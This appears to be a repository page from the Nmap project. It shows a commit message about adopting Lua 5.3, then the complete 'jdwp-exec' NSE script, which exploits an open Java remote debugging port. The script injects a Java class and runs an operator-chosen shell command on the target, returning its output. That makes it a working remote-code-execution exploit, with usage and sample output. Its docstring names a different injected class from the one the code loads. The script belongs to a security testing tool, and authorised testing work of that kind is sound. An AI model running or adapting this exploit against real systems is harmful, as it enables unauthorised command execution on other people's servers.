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https://github.com/nmap/nmap.git
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7f5ec526fe
Lua 5.3 adds several awesome features of particular interest to nmap including bitwise operators and integers, a utf8 library, and standard binary pack/unpack functions. In addition to adding Lua 5.3, this branch changes: o Complete removal of the NSE bit library (in C), It has been replaced with a new Lua library wrapping Lua 5.3's bit-wise operators. o Complete removal of the NSE bin library (in C). It has been replaced with a new Lua library wrapping Lua 5.3's string.pack|unpack functions. o The bin.pack "B" format specifier (which has never worked correctly) is unimplemented. All scripts/libraries which use it have been updated. Most usage of this option was to allow string based bit-wise operations which are no longer necessary now that Lua 5.3 provides integers and bit-wise operators. o The base32/base64 libraries have been reimplemented using Lua 5.3's new bitwise operators. (This library was the main user of the bin.pack "B" format specifier.) o A new "bits" library has been added for common bit hacks. Currently only has a reverse function. Thanks to David Fifield, Daniel Miller, Jacek Wielemborek, and Paulino Calderon for testing this branch.
98 lines
3.2 KiB
Lua
98 lines
3.2 KiB
Lua
local bin = require "bin"
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local io = require "io"
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local jdwp = require "jdwp"
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local stdnse = require "stdnse"
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local nmap = require "nmap"
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local shortport = require "shortport"
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description = [[
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Attempts to exploit java's remote debugging port. When remote debugging
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port is left open, it is possible to inject java bytecode and achieve
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remote code execution. This script abuses this to inject and execute
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a Java class file that executes the supplied shell command and returns
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its output.
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The script injects the JDWPSystemInfo class from
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nselib/jdwp-class/ and executes its run() method which
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accepts a shell command as its argument.
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]]
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---
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-- @usage nmap -sT <target> -p <port> --script=+jdwp-exec --script-args cmd="date"
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--
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-- @args jdwp-exec.cmd Command to execute on the remote system.
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--
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-- @output
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-- PORT STATE SERVICE REASON
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-- 2010/tcp open search syn-ack
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-- | jdwp-exec:
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-- | date output:
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-- | Sat Aug 11 15:27:21 Central European Daylight Time 2012
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-- |_
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author = "Aleksandar Nikolic"
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license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
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categories = {"exploit","intrusive"}
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portrule = function(host, port)
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-- JDWP will close the port if there is no valid handshake within 2
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-- seconds, Service detection's NULL probe detects it as tcpwrapped.
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return port.service == "tcpwrapped"
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and port.protocol == "tcp" and port.state == "open"
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and not(shortport.port_is_excluded(port.number,port.protocol))
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end
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action = function(host, port)
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stdnse.sleep(5) -- let the remote socket recover from connect() scan
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local status,socket = jdwp.connect(host,port) -- initialize the connection
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if not status then
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stdnse.debug1("error, %s",socket)
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return nil
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end
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-- read .class file
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local file = io.open(nmap.fetchfile("nselib/data/jdwp-class/JDWPExecCmd.class"), "rb")
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local class_bytes = file:read("a")
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file:close()
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-- inject the class
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local injectedClass
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status,injectedClass = jdwp.injectClass(socket,class_bytes)
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if not status then
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stdnse.debug1("Failed to inject class")
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return stdnse.format_output(false, "Failed to inject class")
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end
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-- find injected class method
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local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false)
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if runMethodID == nil then
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stdnse.debug1("Couldn't find run method")
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return stdnse.format_output(false, "Couldn't find run method.")
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end
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-- set run() method argument
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local cmd = stdnse.get_script_args(SCRIPT_NAME .. '.cmd')
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if cmd == nil then
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return stdnse.format_output(false, "This script requires a cmd argument to be specified.")
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end
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local cmdID
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status,cmdID = jdwp.createString(socket,0,cmd)
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if not status then
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stdnse.debug1("Couldn't create string")
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return stdnse.format_output(false, cmdID)
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end
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local runArgs = bin.pack(">CL",0x4c,cmdID) -- 0x4c is object type tag
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-- invoke run method
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local result
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status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,1,runArgs)
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if not status then
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stdnse.debug1("Couldn't invoke run method")
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return stdnse.format_output(false, result)
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end
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-- get the result string
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local _,_,stringID = bin.unpack(">CL",result)
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status,result = jdwp.readString(socket,0,stringID)
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return stdnse.format_output(status,result)
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end
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